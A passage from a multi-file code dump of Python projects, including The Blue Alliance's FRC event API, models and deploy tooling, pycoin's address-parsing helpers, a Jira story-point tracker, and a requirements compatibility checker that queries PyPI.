self._track_call_defer('event/awards', event_key) def _render(self,event_key): self._set_event(event_key) award_dicts = [ModelToDict.awardConverter(award) for award in AwardHelper.organizeAwards(self.event.awards)] return json.dumps(award_dicts, ensure_ascii=True) class ApiEventDistrictPointsController(ApiEventController): CACHE_KEY_FORMAT = "apiv2_event_district_points_controller_{}" # (event_key) CACHE_VERSION = 0 CACHE_HEADER_LENGTH = 61 def __init__(self, *args, **kw): super(ApiEventDistrictPointsController, self).__init__(*args, **kw) self.partial_cache_key = self.CACHE_KEY_FORMAT.format(self.event_key) def _track_call(self, event_key): self._track_call_defer('event/district_points', event_key) def _render(self, event_key): self._set_event(event_key) points = DistrictHelper.calculate_event_points(self.event) return json.dumps(points, ensure_ascii=True) class ApiEventListController(ApiBaseController): CACHE_KEY_FORMAT = "apiv2_event_list_controller_{}" # (year) CACHE_VERSION = 2 CACHE_HEADER_LENGTH = 60 * 60 * 24 def __init__(self, *args, **kw): super(ApiEventListController, self).__init__(*args, **kw) self.year = int(self.request.route_kwargs.get("year") or datetime.now().year) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(self.year) @property def _validators(self): return [] def _track_call(self, *args, **kw): self._track_call_defer('event/list', self.year) def _render(self, year=None): if self.year < 1992 or self.year > datetime.now().year + 1: self._errors = json.dumps({"404": "No events found for %s" % self.year}) self.abort(404) events = EventListQuery(self.year).fetch() event_list = [ModelToDict.eventConverter(event) for event in events] return json.dumps(event_list, ensure_ascii=True) ``` #### File: parsers/fms_api/fms_api_event_rankings_parser.py ```python class FMSAPIEventRankingsParser(object): def parse(self, response): """ This currently only works for the 2015 game. """ rankings = [['Rank', 'Team', 'Qual Avg', 'Auto', 'Container', 'Coopertition', 'Litter', 'Tote', 'Played']] for team in response['Rankings']: rankings.append([ team['rank'], team['teamNumber'], team['qualAverage'], team['autoPoints'], team['containerPoints'], team['coopertitionPoints'], team['litterPoints'], team['totePoints'], team['matchesPlayed']]) return rankings if len(rankings) > 1 else None ``` #### File: parsers/fms_api/fms_api_team_details_parser.py ```python import datetime import json import logging from google.appengine.ext import ndb from consts.district_type import DistrictType from models.district_team import DistrictTeam from models.team import Team from models.robot import Robot class FMSAPITeamDetailsParser(object): def __init__(self, year, team_key): self.year = year self.team_key = team_key def parse(self, response): """ Parse team info from FMSAPI Returns a tuple of models (Team, DistrictTeam, Robot) """ # Get team json # don't need to null check, if error, HTTP code != 200, so we wont' get here teams = response['teams'] teamData = teams[0] # concat city/state/country to get address address = u"{}, {}, {}".format(teamData['city'], teamData['stateProv'], teamData['country']) team = Team( team_number=teamData['teamNumber'], name=teamData['nameFull'], nickname=teamData['nameShort'], address=address, rookie_year=teamData['rookieYear'] ) districtTeam = None if teamData['districtCode']: districtAbbrev = DistrictType.abbrevs[teamData['districtCode'].lower()] districtTeam = DistrictTeam( id=DistrictTeam.renderKeyName(self.year, districtAbbrev, team.key_name), team=ndb.Key(Team, team.key_name), year=self.year, district=districtAbbrev ) robot = None if teamData['robotName']: robot = Robot( id=Robot.renderKeyName(team.key_name, self.year), team=ndb.Key(Team, team.key_name), year=self.year, robot_name=teamData['robotName'].strip() ) return (team, districtTeam, robot) ``` #### File: josephbisch/the-blue-alliance/deploy.py ```python import os import sys def main(argv): skip_tests = '-s' in argv os.chdir('../the-blue-alliance-prod') os.system('git stash') # undoes the application ID change to app.yaml os.system('git pull origin master') os.system('git stash pop') # restores the application ID change to app.yaml test_status = 0 if skip_tests: print "Skipping tests!" os.system('paver make') else: test_status = os.system('paver preflight') os.chdir('../') if test_status == 0: os.system('python ~/Downloads/google_appengine/appcfg.py --oauth2 update the-blue-alliance-prod/') else: print "Tests failed! Did not deploy." if __name__ == "__main__": main(sys.argv[1:]) ``` #### File: helpers/firebase/firebase_pusher.py ```python import datetime import json import logging import tba_config import time from google.appengine.ext import deferred from google.appengine.api import urlfetch from models.sitevar import Sitevar class FirebasePusher(object): @classmethod def _get_secret(cls): firebase_secrets = Sitevar.get_by_id("firebase.secrets") if firebase_secrets is None: raise Exception("Missing sitevar: firebase.secrets. Can't write to Firebase.") return firebase_secrets.contents['FIREBASE_SECRET'] @classmethod def _delete_data(cls, key): url = tba_config.CONFIG['firebase-url'].format(key, cls._get_secret()) result = urlfetch.fetch(url, method='DELETE') if result.status_code != 204: logging.warning("Error deleting data from Firebase: {}. ERROR {}: {}".format(url, result.status_code, result.content)) @classmethod def _put_data(cls, key, data_json): url = tba_config.CONFIG['firebase-url'].format(key, cls._get_secret()) result = urlfetch.fetch(url, payload=data_json, method='PUT') if result.status_code != 200: logging.warning("Error pushing data to Firebase: {}; {}. ERROR {}: {}".format(url, data_json, result.status_code, result.content)) @classmethod def _push_data(cls, key, data_json): url = tba_config.CONFIG['firebase-url'].format(key, cls._get_secret()) result = urlfetch.fetch(url, payload=data_json, method='POST') if result.status_code != 200: logging.warning("Error pushing data to Firebase: {}; {}. ERROR {}: {}".format(url, data_json, result.status_code, result.content)) @classmethod def match_to_payload_dict(cls, match): return {'key_name': match.key_name, 'comp_level': match.comp_level, 'match_number': match.match_number, 'set_number': match.set_number, 'alliances': match.alliances, 'winning_alliance': match.winning_alliance, 'order': match.play_order} @classmethod def delete_match(cls, match): payload_key = 'events/{}/matches/{}'.format(match.event.id(), match.key_name) deferred.defer(cls._delete_data, payload_key, _queue="firebase") @classmethod def update_match(cls, match): payload_key = 'events/{}/matches/{}'.format(match.event.id(), match.key_name) payload_data_json = json.dumps(cls.match_to_payload_dict(match)) deferred.defer(cls._put_data, payload_key, payload_data_json, _queue="firebase") @classmethod def push_notification(cls, notification): payload_data_json = json.dumps({ 'time': datetime.datetime.now().isoformat(), 'payload': notification._render_webhook() }) deferred.defer(cls._push_data, 'notifications', payload_data_json, _queue="firebase") ``` #### File: the-blue-alliance/helpers/media_helper.py ```python import json import logging import re from google.appengine.api import urlfetch from BeautifulSoup import BeautifulSoup from consts.media_type import MediaType class MediaHelper(object): @classmethod def group_by_slugname(cls, medias): medias_by_slugname = {} for media in medias: slugname = media.slug_name if slugname in medias_by_slugname: medias_by_slugname[slugname].append(media) else: medias_by_slugname[slugname] = [media] return medias_by_slugname class MediaParser(object): CD_PHOTO_THREAD_URL_PATTERNS = ['chiefdelphi.com/media/photos/'] YOUTUBE_URL_PATTERNS = ['youtube.com', 'youtu.be'] @classmethod def partial_media_dict_from_url(cls, url): """ Takes a url, and turns it into a partial Media object dict """ if any(s in url for s in cls.CD_PHOTO_THREAD_URL_PATTERNS): return cls._partial_media_dict_from_cd_photo_thread(url) elif any(s in url for s in cls.YOUTUBE_URL_PATTERNS): return cls._partial_media_dict_from_youtube(url) else: logging.warning("Failed to determine media type from url: {}".format(url)) return None @classmethod def _partial_media_dict_from_cd_photo_thread(cls, url): media_dict = {} media_dict['media_type_enum'] = MediaType.CD_PHOTO_THREAD foreign_key = cls._parse_cdphotothread_foreign_key(url) if foreign_key is None: logging.warning("Failed to determine foreign_key from url: {}".format(url)) return None media_dict['foreign_key'] = foreign_key urlfetch_result = urlfetch.fetch(url, deadline=10) if urlfetch_result.status_code != 200: logging.warning('Unable to retrieve url: {}'.format(url)) return None image_partial = cls._parse_cdphotothread_image_partial(urlfetch_result.content) if image_partial is None: logging.warning("Failed to determine image_partial from the page: {}".format(url)) return None media_dict['details_json'] = json.dumps({'image_partial': image_partial}) return media_dict @classmethod def _partial_media_dict_from_youtube(cls, url): media_dict = {} media_dict['media_type_enum'] = MediaType.YOUTUBE foreign_key = cls._parse_youtube_foreign_key(url) if foreign_key is None: logging.warning("Failed to determine foreign_key from url: {}".format(url)) return None media_dict['foreign_key'] = foreign_key return media_dict @classmethod def _parse_cdphotothread_foreign_key(cls, url): regex1 = re.match(r'.*chiefdelphi.com\/media\/photos\/(\d+)', url) if regex1 is not None: return regex1.group(1) else: return None @classmethod def _parse_cdphotothread_image_partial(cls, html): """ Input: the HTML from the thread page ex: http://www.chiefdelphi.com/media/photos/38464, returns the url of the image in the thread ex: http://www.chiefdelphi.com/media/img/3f5/3f5db241521ae5f2636ff8460f277997_l.jpg """ html = html.decode("utf-8", "replace") # parse html for the image url soup = BeautifulSoup(html, convertEntities=BeautifulSoup.HTML_ENTITIES) # 2014-07-15: CD doesn't properly escape the photo title, which breaks the find() for cdmLargePic element below # Fix by removing all instances of the photo title from the HTML photo_title = soup.find('div', {'id': 'cdm_single_photo_title'}).text cleaned_soup = BeautifulSoup(html.replace(photo_title, ''), convertEntities=BeautifulSoup.HTML_ENTITIES) element = cleaned_soup.find('a', {'target': 'cdmLargePic'}) if element is not None: partial_url = element['href'] else: return None # partial_url looks something like: "/media/img/774/774d98c80dcf656f2431b2e9186f161a_l.jpg" # we want "774/774d98c80dcf656f2431b2e9186f161a_l.jpg" image_partial = re.match(r'\/media\/img\/(.*)', partial_url) if image_partial is not None: return image_partial.group(1) else: return None @classmethod def _parse_youtube_foreign_key(cls, url): youtube_id = None regex1 = re.match(r".*youtu\.be\/(.*)", url) if regex1 is not None: youtube_id = regex1.group(1) else: regex2 = re.match(r".*v=([a-zA-Z0-9_-]*)", url) if regex2 is not None: youtube_id = regex2.group(1) if youtube_id is None: return None else: return youtube_id ``` #### File: the-blue-alliance/helpers/team_manipulator.py ```python from helpers.cache_clearer import CacheClearer from helpers.manipulator_base import ManipulatorBase class TeamManipulator(ManipulatorBase): """ Handle Team database writes. """ @classmethod def getCacheKeysAndControllers(cls, affected_refs): return CacheClearer.get_team_cache_keys_and_controllers(affected_refs) @classmethod def updateMerge(self, new_team, old_team, auto_union=True): """ Given an "old" and a "new" Team object, replace the fields in the "old" team that are present in the "new" team, but keep fields from the "old" team that are null in the "new" team. """ attrs = [ "address", "name", "nickname", "website", "rookie_year", ] for attr in attrs: if getattr(new_team, attr) is not None: if getattr(new_team, attr) != getattr(old_team, attr): setattr(old_team, attr, getattr(new_team, attr)) old_team.dirty = True # Take the new tpid and tpid_year iff the year is newer than the old one if (new_team.first_tpid_year > old_team.first_tpid_year): old_team.first_tpid_year = new_team.first_tpid_year old_team.first_tpid = new_team.first_tpid old_team.dirty = True return old_team ``` #### File: the-blue-alliance/models/event.py ```python from google.appengine.ext import ndb import datetime import json import pytz import re from consts.district_type import DistrictType from consts.event_type import EventType class Event(ndb.Model): """ Events represent FIRST Robotics Competition events, both official and unofficial. key_name is like '2010ct' """ name = ndb.StringProperty() event_type_enum = ndb.IntegerProperty(required=True) short_name = ndb.StringProperty(indexed=False) # Should not contain "Regional" or "Division", like "Hartford" event_short = ndb.StringProperty(required=True, indexed=False) # Smaller abbreviation like "CT" year = ndb.IntegerProperty(required=True) event_district_enum = ndb.IntegerProperty() start_date = ndb.DateTimeProperty() end_date = ndb.DateTimeProperty() venue = ndb.StringProperty(indexed=False) venue_address = ndb.StringProperty(indexed=False) # We can scrape this. location = ndb.StringProperty(indexed=False) # in the format "locality, region, country". similar to Team.address timezone_id = ndb.StringProperty() # such as 'America/Los_Angeles' or 'Asia/Jerusalem' official = ndb.BooleanProperty(default=False) # Is the event FIRST-official? first_eid = ndb.StringProperty() # from USFIRST facebook_eid = ndb.StringProperty(indexed=False) # from Facebook custom_hashtag = ndb.StringProperty(indexed=False) #Custom HashTag website = ndb.StringProperty(indexed=False) webcast_json = ndb.TextProperty(indexed=False) # list of dicts, valid keys include 'type' and 'channel' matchstats_json = ndb.TextProperty(indexed=False) # for OPR, DPR, CCWM, etc. rankings_json = ndb.TextProperty(indexed=False) alliance_selections_json = ndb.TextProperty(indexed=False) # Formatted as: [{'picks': [captain, pick1, pick2, 'frc123', ...], 'declines':[decline1, decline2, ...] }, {'picks': [], 'declines': []}, ... ] district_points_json = ndb.TextProperty(indexed=False) created = ndb.DateTimeProperty(auto_now_add=True, indexed=False) updated = ndb.DateTimeProperty(auto_now=True, indexed=False) def __init__(self, *args, **kw): # store set of affected references referenced keys for cache clearing # keys must be model properties self._affected_references = { 'key': set(), 'year': set(), 'event_district_abbrev': set(), 'event_district_key': set() } self._alliance_selections = None self._awards = None self._district_points = None self._matches = None self._matchstats = None self._rankings = None self._teams = None self._webcast = None self._updated_attrs = [] # Used in EventManipulator to track what changed super(Event, self).__init__(*args, **kw) @ndb.tasklet def get_awards_async(self): from database import award_query self._awards = yield award_query.EventAwardsQuery(self.key_name).fetch_async() @property def alliance_selections(self): """ Lazy load alliance_selections JSON """ if self._alliance_selections is None: try: self._alliance_selections = json.loads(self.alliance_selections_json) except Exception, e: self._alliance_selections = None return self._alliance_selections @property def alliance_teams(self): """ Load a list of team keys playing in elims """ alliances = self.alliance_selections if alliances is None: return [] teams = [] for alliance in alliances: for pick in alliance['picks']: teams.append(pick) return teams @property def awards(self): # This import is ugly, and maybe all the models should be in one file again -gregmarra 20121006 from models.award import Award if self._awards is None: self.get_awards_async().wait() return self._awards @property def district_points(self): """ Lazy load district_points JSON """ if self._district_points is None: try: self._district_points = json.loads(self.district_points_json) except Exception, e: self._district_points = None return self._district_points @ndb.tasklet def get_matches_async(self): from database import match_query self._matches = yield match_query.EventMatchesQuery(self.key_name).fetch_async() @property def matches(self): # This import is ugly, and maybe all the models should be in one file again -gregmarra 20121006 from models.match import Match if self._matches is None: if self._matches is None: self.get_matches_async().wait() return self._matches def withinDays(self, negative_days_before, days_after): if not self.start_date or not self.end_date: return False now = datetime.datetime.now() if self.timezone_id is not None: tz = pytz.timezone(self.timezone_id) try: now = now + tz.utcoffset(now) except pytz.NonExistentTimeError: # may happen during DST now = now + tz.utcoffset(now + datetime.timedelta(hours=1)) # add offset to get out of non-existant time after_start = self.start_date.date() + datetime.timedelta(days=negative_days_before) <= now.date() before_end = self.end_date.date() + datetime.timedelta(days=days_after) >= now.date() return (after_start and before_end) @property def now(self): if self.timezone_id is not None: return self.withinDays(0, 0) else: return self.within_a_day # overestimate what is "now" if no timezone @property def within_a_day(self): return self.withinDays(-1, 1) @property def past(self): return self.end_date.date() < datetime.date.today() and not self.within_a_day @property def future(self): return self.start_date.date() > datetime.date.today() and not self.within_a_day @ndb.tasklet def get_teams_async(self): from database import team_query self._teams = yield team_query.EventTeamsQuery(self.key_name).fetch_async() @property def teams(self): if self._teams is None: self.get_teams_async().wait() return self._teams @ndb.toplevel def prepAwardsMatchesTeams(self): yield self.get_awards_async(), self.get_matches_async(), self.get_teams_async() @ndb.toplevel def prepTeams(self): yield self.get_teams_async() @ndb.toplevel def prepTeamsMatches(self): yield self.get_matches_async(), self.get_teams_async() @property def matchstats(self): """ Lazy load parsing matchstats JSON """ if self._matchstats is None: try: self._matchstats = json.loads(self.matchstats_json) except Exception, e: self._matchstats = None return self._matchstats @property def rankings(self): """ Lazy load parsing rankings JSON """ if self._rankings is None: try: self._rankings = json.loads(self.rankings_json) except Exception, e: self._rankings = None return self._rankings @property def venue_or_venue_from_address(self): if self.venue: return self.venue else: try: return self.venue_address.split('\r\n')[0] except: return None @property def webcast(self): """ Lazy load parsing webcast JSON """ if self._webcast is None: try: self._webcast = json.loads(self.webcast_json) except Exception, e: self._webcast = None return self._webcast @property def key_name(self): """ Returns the string of the key_name of the Event object before writing it. """ return str(self.year) + self.event_short @property def facebook_event_url(self): """ Return a string of the Facebook Event URL. """ return "http://www.facebook.com/event.php?eid=%s" % self.facebook_eid @property def details_url(self): """ Returns the URL pattern for the link to this Event on TBA """ return "/event/%s" % self.key_name @property def gameday_url(self): """ Returns the URL pattern for the link to watch webcasts in Gameday """ if self.webcast: gameday_link = '/gameday' view_num = 0 for webcast in self.webcast: if view_num == 0: gameday_link += '#' else: gameday_link += '&' if 'type' in webcast and 'channel' in webcast: gameday_link += 'view_' + str(view_num) + '=' + self.key_name + '-' + str(view_num + 1) view_num += 1 return gameday_link else: return None @property def hashtag(self): """ Return the hashtag used for the event. """ if self.custom_hashtag: return self.custom_hashtag else: return "frc" + self.event_short # Depreciated, still here to keep GAE clean. webcast_url = ndb.StringProperty(indexed=False) @classmethod def validate_key_name(self, event_key): key_name_regex = re.compile(r'^[<KEY>') match = re.match(key_name_regex, event_key) return True if match else False @property def event_district_str(self): return DistrictType.type_names.get(self.event_district_enum, None) @property def event_district_abbrev(self): return DistrictType.type_abbrevs.get(self.event_district_enum, None) @property def event_district_key(self): district_abbrev = DistrictType.type_abbrevs.get(self.event_district_enum, None) if district_abbrev is None: return None else: return '{}{}'.format(self.year, district_abbrev) @property def event_type_str(self): return EventType.type_names[self.event_type_enum] ``` #### File: josephbisch/the-blue-alliance/pavement.py ```python import subprocess import json import time from paver.easy import * path = path("./") @task def deploy(): sh("python deploy.py") @task def javascript(): """Combine Compress Javascript""" print("Combining and Compressing Javascript") sh("python do_compress.py js") @task def less(): """Build and Combine CSS""" print("Building and Combining CSS") sh("lessc static/css/less_css/tba_style.main.less static/css/less_css/tba_style.main.css") sh("lessc static/css/less_css/tba_style.gameday.less static/css/less_css/tba_style.gameday.css") sh("python do_compress.py css") @task def lint(): sh("python linter.py") @task def make(): javascript() less() git_branch_name = subprocess.check_output(["git", "rev-parse", "--abbrev-ref", "HEAD"]) git_last_commit = subprocess.check_output(["git", "log", "-1"]) build_time = time.ctime() data = {'git_branch_name': git_branch_name, 'git_last_commit': git_last_commit, 'build_time': build_time} with open('version_info.json', 'w') as f: f.write(json.dumps(data)) @task def preflight(): """Prep a prod push""" test_function([]) make() @task def setup(): """Set up for development environments.""" setup_function() @task @consume_args def test(args): """Run tests. Accepts an argument to match subnames of tests""" test_function(args) @task def test_fast(): """Run tests that don't require HTTP""" print("Running Fast Tests") sh("python run_tests.py --test_pattern=test_math_*.py") sh("python run_tests.py --test_pattern=test_*parser*.py") sh("python run_tests.py --test_pattern=test_*manipulator.py") sh("python run_tests.py --test_pattern=test_*api.py") sh("python run_tests.py --test_pattern=test_event.py") sh("python run_tests.py --test_pattern=test_match_cleanup.py") sh("python run_tests.py --test_pattern=test_event_group_by_week.py") sh("python run_tests.py --test_pattern=test_event_team_repairer.py") sh("python run_tests.py --test_pattern=test_event_team_updater.py") sh("python run_tests.py --test_pattern=test_event_get_short_name.py") def setup_function(): make() def test_function(args): print("Running Tests") test_pattern = "" if len(args) > 0: test_pattern = " --test_pattern=*%s*" % args[0] sh("python run_tests.py%s 2> test_failures.temp" % test_pattern) ``` #### File: the-blue-alliance/tests/test_datafeed_usfirst_matches.py ```python import unittest2 import datetime from google.appengine.ext import db from google.appengine.ext import testbed from datafeeds.datafeed_usfirst import DatafeedUsfirst from models.event import Event class TestDatafeedUsfirstMatches(unittest2.TestCase): def setUp(self): self.testbed = testbed.Testbed() self.testbed.activate() self.testbed.init_urlfetch_stub() self.testbed.init_datastore_v3_stub() self.testbed.init_memcache_stub() self.datafeed = DatafeedUsfirst() def tearDown(self): self.testbed.deactivate() def test_getMatchResultsList(self): event = Event( id="2011ct", event_short="ct", year=2011 ) matches = self.datafeed.getMatches(event) # Test 2011ct_qm1 match = matches[0] self.assertEqual(match.comp_level, "qm") self.assertEqual(match.set_number, 1) self.assertEqual(match.match_number, 1) self.assertEqual(match.team_key_names, [u'frc69', u'frc571', u'frc176', u'frc3464', u'frc20', u'frc1073']) self.assertEqual(match.alliances_json, """{"blue": {"score": 57, "teams": ["frc3464", "frc20", "frc1073"]}, "red": {"score": 74, "teams": ["frc69", "frc571", "frc176"]}}""") self.assertEqual(match.time_string, "9:29 AM") # Test 2011ct_qf2m3 match = matches[-7] self.assertEqual(match.comp_level, "qf") self.assertEqual(match.set_number, 2) self.assertEqual(match.match_number, 3) self.assertEqual(match.team_key_names, [u'frc716', u'frc3125', u'frc181', u'frc1699', u'frc1124', u'frc714']) self.assertEqual(match.alliances_json, """{"blue": {"score": 74, "teams": ["frc1699", "frc1124", "frc714"]}, "red": {"score": 90, "teams": ["frc716", "frc3125", "frc181"]}}""") self.assertEqual(match.time_string, "2:05 PM") # Test 2011ct_f1m2 match = matches[-1] self.assertEqual(match.comp_level, "f") self.assertEqual(match.set_number, 1) self.assertEqual(match.match_number, 2) self.assertEqual(match.team_key_names, [u'frc195', u'frc1923', u'frc155', u'frc177', u'frc175', u'frc1073']) self.assertEqual(match.alliances_json, """{"blue": {"score": 65, "teams": ["frc177", "frc175", "frc1073"]}, "red": {"score": 97, "teams": ["frc195", "frc1923", "frc155"]}}""") self.assertEqual(match.time_string, "3:23 PM") ```
{ "source": "JosephBless/pycoin", "score": 3 }
#### File: pycoin/networks/parseable_str.py ```python from pycoin.encoding.b58 import a2b_base58 from pycoin.encoding.hash import double_sha256 from pycoin.contrib import bech32m from pycoin.intbytes import int2byte class parseable_str(str): """ This is a subclass of str which allows caching of parsed base58 and bech32 data (or really anything) to eliminate the need to repeatedly run slow parsing code when checking validity for multiple types. """ def __new__(self, s): if isinstance(s, parseable_str): return s return str.__new__(self, s) def __init__(self, s): super(str, self).__init__() if isinstance(s, parseable_str): self._cache = s._cache else: self._cache = {} def cache(self, key, f): if key not in self._cache: self._cache[key] = None try: self._cache[key] = f(self) except Exception: pass return self._cache[key] def parse_b58(s): s = parseable_str(s) return s.cache("b58", a2b_base58) def b58_double_sha256(s): data = parse_b58(s) if data: data, the_hash = data[:-4], data[-4:] if double_sha256(data)[:4] == the_hash: return data def parse_b58_double_sha256(s): s = parseable_str(s) return s.cache("b58_double_sha256", b58_double_sha256) def parse_bech32_or_32m(s): triple = bech32m.bech32_decode(s) if triple is None or triple[1] is None: return None hr_prefix = triple[0] data = triple[1] spec = triple[2] version = data[0] decoded = bech32m.convertbits(data[1:], 5, 8, False) decoded_data = b''.join(int2byte(d) for d in decoded) rv = (hr_prefix, version, decoded_data, spec) return rv def parse_bech32(s): s = parseable_str(s) return s.cache("bech32", parse_bech32_or_32m) def parse_colon_prefix(s): s = parseable_str(s) return s.cache("colon_prefix", lambda _: _.split(":", 1)) ```
{ "source": "josephbmanley/jira-tracker", "score": 3 }
#### File: jira-tracker/jira_tracker/project_tracker.py ```python from jira_tracker.logger import logger from jira_tracker.tracker_issue import TrackerIssue import datetime class ProjectTracker: def __init__(self, jira_client, project_key): self.jira = jira_client self.key = project_key def this_weeks_issues(self): result = self.jira.search_issues( f"project = {self.key} AND assignee = currentuser() AND ((resolutiondate >= -{datetime.datetime.today().weekday()}d AND status = Done) OR status != Done)" ) logger.debug(f"Found {len(result)} valid records this week in {self.key}") issues = [] for issue in result: issues.append(TrackerIssue(issue)) return issues ``` #### File: josephbmanley/jira-tracker/setup.py ```python import re from os import path from setuptools import setup from codecs import open here = path.abspath(path.dirname(__file__)) # Get the long description from the README file with open(path.join(here, 'README.md'), encoding='utf-8') as f: long_description = f.read() def read(*parts): return open(path.join(here, *parts), 'r').read() def find_version(*file_paths): version_file = read(*file_paths) version_match = re.search(r"^version = ['\"]([^'\"]*)['\"]", version_file, re.M) if version_match: return version_match.group(1) raise RuntimeError("Unable to find version string.") setup( name='jira-tracker', version=find_version('jira_tracker','__init__.py'), description='Simple Jira story point tracking tool', long_description=long_description, long_description_content_type="text/markdown", # The project's main homepage. url='https://github.com/josephbmanley/jira-tracker', # Author details author='<NAME>', author_email='<EMAIL>', # Choose your license license='MIT', # See https://pypi.org/classifiers/ classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Intended Audience :: Information Technology', 'Intended Audience :: System Administrators', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9' ], keywords='Jira', packages=['jira_tracker'], install_requires=['argparse','jira','pyyaml','wheel'], package_data={}, entry_points={ 'console_scripts' : [ 'jira-tracker=jira_tracker:main' ] } ) ```
{ "source": "joseph-bongo-220/DeepLearningProject", "score": 3 }
#### File: joseph-bongo-220/DeepLearningProject/preprocess.py ```python import os import numpy as np from imageio import imread, imwrite from skimage import img_as_ubyte from skimage.transform import resize from tqdm import tqdm import boto3 import re def crop_border(img): """crop black borders of images, relevant for Montgomery images""" mask = img > 0 # Keeps rows and columns of images if they are not completely black return img[np.ix_(mask.any(1), mask.any(0))] def find_edge(img): """finds the larger edge for cropping""" y, x = img.shape return y if y < x else x def crop_image(img, size): """Crops the image size so can extract the central part""" y, x = img.shape startx = (x - size) // 2 starty = (y - size) // 2 return img[starty:starty + size, startx: startx + size] def preprocess(imgdir, outdir, size=512): """full preprocessing, takes input and output directory""" files = sorted(os.listdir(imgdir)) num_imgs = len(files) for i, file in enumerate(tqdm(files)): input_path = os.path.join(imgdir, file) output_path = os.path.join(outdir, file) img = imread(input_path, as_gray=True) img_clean_border = crop_border(img) edge = find_edge(img_clean_border) cropped_image = crop_image(img_clean_border, edge) final_img = resize(cropped_image, (size,size), order=3) final_img = img_as_ubyte(final_img/255.0) imwrite(output_path, final_img) def get_s3_keys(client, bucket, file_type = "png"): """Get a list of keys in an S3 bucket.""" keys = [] resp = client.list_objects_v2(Bucket=bucket) for obj in resp['Contents']: if re.search("[.]" + file_type + "$", obj['Key']): keys.append(obj['Key']) return keys def preprocess_s3(bucket, outdir, size=512): """same as preprocessing, but using data stored on an S3 bucket""" s3 = boto3.client("s3") files = get_s3_keys(s3, bucket) num_imgs = len(files) for i, file in enumerate(tqdm(files)): # get file name name = re.findall("(?<=/)[^/]*", file)[-1] output_path = outdir+"/"+name s3.download_file("yale-amth552-deep-learning", file, name) img = imread(name, as_gray=True) img_clean_border = crop_border(img) edge = find_edge(img_clean_border) cropped_image = crop_image(img_clean_border, edge) final_img = resize(cropped_image, (size,size), order=3) final_img = img_as_ubyte(final_img/255.0) imwrite(name, final_img) s3.upload_file(name, bucket, output_path) os.remove(name) if __name__ == '__main__': preprocess_s3("yale-amth552-deep-learning", 'Cropped') ```
{ "source": "josephbosire/checkmyreqs", "score": 3 }
#### File: josephbosire/checkmyreqs/checkmyreqs.py ```python from __future__ import print_function import argparse import os import re import sys import errno import csv from blessings import Terminal TERMINAL = Terminal() try: # Different location in Python 3 from xmlrpc.client import ServerProxy except ImportError: from xmlrpclib import ServerProxy BASE_PATH = os.path.dirname(os.path.abspath(__file__)) CLIENT = ServerProxy('http://pypi.python.org/pypi') IGNORED_PREFIXES = ['#', 'git+', 'hg+', 'svn+', 'bzr+', '\n', '\r\n'] IS_COMPATIBLE = 'yes' NOT_COMPATIBLE = 'no' UNKOWN = 'No Info Available' NOT_IN_PYPI = 'Not in pypi' SEPRATORS = ["==", ">=", "<=", ">", "<"] def parse_requirements_file(req_file): """ Parse a requirements file, returning packages with versions in a dictionary :param req_file: requirements file to parse :return dict of package names and versions """ packages = {} for line in req_file: line = line.strip() for prefix in IGNORED_PREFIXES: if not line or line.startswith(prefix): line = None break if line: line = line.strip() # lets strip any trailing comments if "#" in line: line = line[:line.index("#")].strip() if ";" in line: line = line[:line.index(";")].strip() use_separator = None for separator in SEPRATORS: if separator in line: use_separator = separator break if use_separator: package_name, version = line.split(use_separator) #lets strip extras from the package name if "[" in package_name: package_name = package_name[:package_name.index("[")].strip() packages[package_name] = version else: print(TERMINAL.yellow('{} not pinned to a version, skipping'.format(line))) return packages def check_packages(packages, python_version): """ Checks a list of packages for compatibility with the given Python version Prints warning line if the package is not supported for the given Python version If upgrading the package will allow compatibility, the version to upgrade is printed If the package is not listed on pypi.python.org, error line is printed :param packages: dict of packages names and versions :param python_version: python version to be checked for support """ pkg_compatibility_status_list = [] for package_name, package_version in packages.items(): print(TERMINAL.bold(package_name)) package_info = CLIENT.release_data(package_name, package_version) package_releases = CLIENT.package_releases(package_name) if package_releases: latest_release = package_releases[-1] else: latest_release = '' pkg_status = [package_name, package_version, latest_release] if package_releases: supported_pythons = get_supported_pythons(package_info) pkg_status.append(','.join(supported_pythons)) # Some entries list support of Programming Language :: Python :: 3 # So we also want to check the major revision number of the version # against the list of supported versions major_python_version = python_version.split('.')[0] if python_version in supported_pythons: print(TERMINAL.green('compatible')) pkg_status.append(IS_COMPATIBLE) elif major_python_version in supported_pythons: print(TERMINAL.green('compatible')) pkg_status.append(IS_COMPATIBLE) else: latest_version = package_releases[0] latest_package_info = CLIENT.release_data(package_name, latest_version) latest_supported_pythons = get_supported_pythons(latest_package_info) upgrade_available = '' if supported_pythons: if python_version in latest_supported_pythons: upgrade_available = ' - update to v{} for support'.format(latest_version) print(TERMINAL.red('not compatible{}'.format(upgrade_available))) pkg_status.append(NOT_COMPATIBLE) else: # We get here if there was not compatability information for # the package version we requested if python_version in latest_supported_pythons: upgrade_available = ' - update to v{} for explicit support'.format(latest_version) print(TERMINAL.yellow('not specified{}').format(upgrade_available)) pkg_status.append(UNKOWN) else: print(TERMINAL.red('not listed on pypi.python.org')) pkg_status.append(NOT_IN_PYPI) pkg_compatibility_status_list.append(pkg_status) print('-----') return pkg_compatibility_status_list def get_supported_pythons(package_info): """ Returns a list of supported python versions for a specific package version :param package_info: package info dictionary, retrieved from pypi.python.org :return: Versions of Python supported, may be empty """ versions = [] classifiers = package_info.get('classifiers', []) for c in classifiers: if c.startswith('Programming Language :: Python ::'): version = c.split(' ')[-1].strip() versions.append(version) return versions def main(): """ Parses user input for requirements files and python version to check compatibility for :return: """ parser = argparse.ArgumentParser('Checks a requirements file for Python version compatibility') parser.add_argument( '-f', '--files', required=False, help='requirements file(s) to check', type=argparse.FileType(), nargs="+" ) parser.add_argument( '-p', '--python', required=False, help='Version of Python to check against. E.g. 2.5', default='.'.join(map(str, [sys.version_info.major, sys.version_info.minor])) ) parser.add_argument( '-o', '--output', required=False, help='Name of file to output with compatibility status. If not provided output will only be shown in the ' 'terminal. Usually a csv filename e.g. pacakges.csv', default=False ) args = parser.parse_args() # If a file wasn't passed in, check if pip freeze has been piped, then try to read requirements.txt if args.files is None: if not sys.stdin.isatty(): args_files = [sys.stdin] else: try: args_files = [open('requirements.txt')] except 